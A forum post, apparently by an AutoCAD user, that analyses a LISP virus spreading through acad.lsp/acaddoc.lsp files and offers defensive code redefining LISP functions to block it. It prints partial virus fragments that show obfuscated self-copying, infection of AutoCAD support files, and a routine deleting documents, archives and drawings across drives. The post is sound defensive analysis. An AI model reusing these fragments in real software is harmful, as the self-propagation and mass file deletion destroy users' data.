重定义函数防治lsp病毒

zml84 发表于 2010-12-11 21:23:30 | 显示全部楼层 | 阅读模式
acad20xx.lsp
;|【01】无聊之人写了不少lisp病毒,通过感染ACAD,以实现病毒传播的目的。      文件名为如下几个之一:"acad.lsp"、"acad.fas"、"acad.vlx"、"acaddoc.lsp"
【02】病毒文件解开后,代码片段如下:;;;==================================================;;;病毒片段1(vl-file-copy    (findfile        (vl-list->string '(108 111 103 111 46 103 105 102))    )    (vl-list->string '(97 99 97 100 46 118 108 120)))
;;;==================================================;;;病毒片段2(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz ....
;;;==================================================;;;病毒片段3(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))
;;;==================================================;;;病毒片段4  (setq k (list "k:" "j:" "i:" "h:" "g:" "f:" "e:" "d:" "c:"))  (alldelete "exe" k 0 1)  (alldelete "dwg" k 0 2)  (alldelete "doc" k 0 1)  (alldelete "xls" k 0 2)  (alldelete "rar" k 0 1)  (alldelete "pdf" k 0 2)  (alldelete "zip" k 0 1)  (alldelete "txt" k 0 2)  (alldelete "chm" k 0 1)  (alldelete "htm" k 0 2)  (alldelete "mp3" k 0 1)
;;;==================================================【03】中毒后表征:1、acad系统文件被修改                  2、acad打开文件速度变慢                  3、在当前使用的dwg文档目录内生成病毒文件                  4、硬盘文件莫名丢失(随机)                  5、其它不适。
【04】分析:(略)
【05】手工解决方法:                  1、全盘扫描,找到“*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp”,有选择性的删除;                     所谓选择性的删除,是指正常的文件要放过,比如桥梁通用的acad.lsp。一般通过对比时间、大小即可甄别。
                  2、查看用户配置目录“C:\Documents and Settings\****\Application Data\Autodesk\AutoCAD 20**\R****\chs\Support\”                     和acad安装目录“*:\Program Files\AutoCAD 20**\”中的所有lsp文件、mnl文件,若发现病毒体,则删除病毒体后保存之。
                  3、至此,acad系统是清爽的。
                  4、为防范于未然,建议重定义病毒传播所需要的几个函数,以达到百毒不侵之目的。
                     病毒通过getvar函数获取当前图形的名字,进而判断是新图还是老图;                         通过findfile函数获取acad的安装位置;                         通过vl-file-copy函数复制自己到指定的文件夹内;                         通过open "a"来追加病毒体到acad的系统文件中;                         通过vl-file-delete_old来删除硬盘上指定的文件。
                     函数重定义代码如下:
                     复制代码到一新建文本文档,更名为"“cad20**.lsp”,                     然后放置于用户配置目录“C:\Documents and Settings\****\Application Data\Autodesk\AutoCAD 20**\R****\chs\Support\”中                     即可起到免疫的效果。|;(vl-load-com)(princ "\n==============================================")(princ "\n函数重定义,防病毒。\tZML84 于 2010-12-10")(or getvar_old    (progn        (setq getvar_old getvar)        (defun getvar (str)            (if        (wcmatch str "dwgname")                ()                (getvar_old str)            )        )    ))(or findfile_old    (progn        (setq findfile_old findfile)        (defun findfile        (str)            (if        (wcmatch str "acad.mnl,acad.exe,base.dcl,acad.dcl")                ()                (findfile_old str)            )        )    ))(or vl-file-copy_old    (progn        (setq vl-file-copy_old vl-file-copy)        (defun vl-file-copy (str1 str2)            (if        (wcmatch                    str2                    "*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp"                )                   (alert (strcat "**" str2 "试图建立,被阻止**"))                   (vl-file-copy_old str1 str2)            )        )    ))(or open_old    (progn        (setq open_old open)        (defun open (str1 str2)            (if        (wcmatch                    str1                    "*acad.lsp,*acad.vlx,*acad.lsp,*acad*doc.lsp,*acadiso.lsp"                )                   (alert (strcat "**" str1 "试图open,被阻止**"))                   (open_old str1 str2)            )        )    ))(or vl-file-delete_old    (progn        (setq vl-file-delete_old vl-file-delete)        (defun vl-file-delete (str1)            (if        (wcmatch                    str1                    "*.exe,*.dwg,*.doc,*.xls,*.rar,*.pdf,*.zip,*.txt,*.dat"                )                   (alert (strcat "**" str1 "试图删除,被阻止**"))                   (vl-file-delete_old str1)            )        )    ))(princ "\n==============================================")
精彩评论倒序浏览

3373查看2评论

zml84 发表于 2010-12-11 21:27:08
论坛对html的支持,有待改进。
原格式见: zml84.blog.sohu.com/161092224.html
举报 回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

 
 
  • QQ:56984982
  • 点击这里给我发消息
    电话:13527553862
    站务咨询群桥头堡站务咨询桥梁专业交流群:
    中国桥梁专业领袖群
    工作时间
    8:00-18:00